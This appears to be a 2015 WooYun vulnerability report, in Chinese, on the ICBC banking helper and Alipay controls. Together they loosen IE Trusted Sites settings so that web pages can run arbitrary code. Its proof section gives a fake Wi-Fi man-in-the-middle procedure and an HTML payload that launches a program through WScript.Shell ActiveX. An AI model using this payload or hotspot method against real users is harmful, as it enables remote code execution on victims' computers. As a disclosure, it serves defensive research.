当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096339

漏洞标题:工商银行安全控件可导致远程任意代码执行(新型技术点)

相关厂商:工商银行

漏洞作者: MITM

提交时间:2015-02-09 12:38

修复时间:2015-05-10 14:03

公开时间:2015-05-10 14:03

漏洞类型:远程代码执行

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-09: 细节已通知厂商并且等待厂商处理中
2015-02-09: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-04-05: 细节向核心白帽子及相关领域专家公开
2015-04-15: 细节向普通白帽子公开
2015-04-25: 细节向实习白帽子公开
2015-05-10: 细节向公众公开

简要描述:

某网上银行安全控件可导致远程任意代码执行。

详细说明:

其实这个漏洞涉及两个厂商的安全控件:中国工商银行网银助手(版本:1.5.3.0)[1]和支付宝安全控件(版本:5.0.0.3597)[2]。需要用户两个都安装,才好利用。另外需要使用IE浏览器,IE版本不限。
我用的是英文版Windows 7的虚拟机测试的,我不太清楚一些设置的中文怎么说,所以大家只能将就看英文了。
一般情况下,IE的Trusted sites域的默认Security level是“中等”。这个设置是不允许执行高危的ActiveX代码的。安装ActiveX控件也会有提示。所以是安全的。

Screenshot (41).png


而我发现当安装完中国工商银行的网银助手之后,发现Trusted sites域的Security level变成了“自定义”,并把https://*.icbc.com.cn加入到了Trusted sites域中。特别是安全设置中的“Initialize and script ActiveX controls not marked as safe for scripting”由默认的禁止变成了启用。

Screenshot (43).png


Screenshot (44).png


这一更改是此漏洞的核心。一旦启用了这一选项,域内的任何网页都可以无需用户许可即能执行高危的ActiveX代码,比如打开任意程序、读写本地文件。微软3年前对此有过详细解释[3]。我不知道是不是工行对自己的网站特别信任,以为https://*.icbc.com.cn/是可信安全的,不会被利用,所以给高权限“没事”。
但是别忘了,IE不是你们工行客户端软件,用户和其他“安全”控件都可能将一些网站加入Trusted sites域。比如,我发现支付宝就干这事。
装完支付宝之后,信任列表里又多了几个阿里巴巴旗下的网站:http://*.alipay.com, http://*.alisoft.com, http://*.taobao.com, https://*.alipay.com等。

Screenshot (46).png


这就意味着,如果用户同时使用工行网银和支付宝,那么阿里巴巴的3个网站同时拥有了执行任意代码的权限。由于工行和支付宝的高度相关性,肯定有非常多的共同用户。而如果淘宝网上有个存储型XSS……
更不幸的是,支付宝添加的网站还有非https的,所以还可以轻易被中间人攻击,用来植入木马。
[1] http://www.icbc.com.cn/ICBC/html/download/EbankToolsSoftware/x64/ICBCSetupIntegration_64.msi
[2] https://download.alipay.com/sec/edit/aliedit.exe
[3] http://blogs.technet.com/b/fdcc/archive/2011/11/03/enabling-initialize-and-script-activex-controls-not-marked-as-safe-in-any-zone-can-get-you-hurt-bad.aspx

漏洞证明:

本人对XSS实在不熟,本想拿个反射型XSS做演示,但没找到。所以就用中间人攻击演示吧:
0、建个假Wi-Fi热点,吸引人们连接。
1、将任意HTTP页跳转到http://www.taobao.com/,
2、给http://www.taobao.com/直接返回以下代码:

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>认证</title>
<script>
try {
var shell = new ActiveXObject("WScript.Shell");
shell.Run("calc.exe"); // 执行什么都行
} catch (err) {
// 没有安装支付宝和工行助手
}
location.href = (location.hash.length > 1) ? location.hash.substr(1) : "http://www.baidu.com"; // 转回原网站
</script>
</head>
<body>
<p>认证中,请稍后……</p>
</body>
</html>


3、如果这个用户装了支付宝和工行助手,那么代码就已经执行。

activex_mitm.png

修复方案:

二位别修改用户的IE浏览器设置不行吗?即使真的需要,也绝不能给任意域开启Initialize and script ActiveX controls not marked as safe for scripting。也不要添加明文http网站至信任列表。

版权声明:转载请注明来源 MITM@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-05-10 14:03

厂商回复:

对于控件启用,属于软件功能的使用问题,涉及所述工商银行的,均已标记https的链接为信任目标。对于攻击利用存在较高的前提,暂不作为漏洞风险进行确认。先行公开,供讨论。

漏洞Rank:20 (WooYun评价)

最新状态:

暂无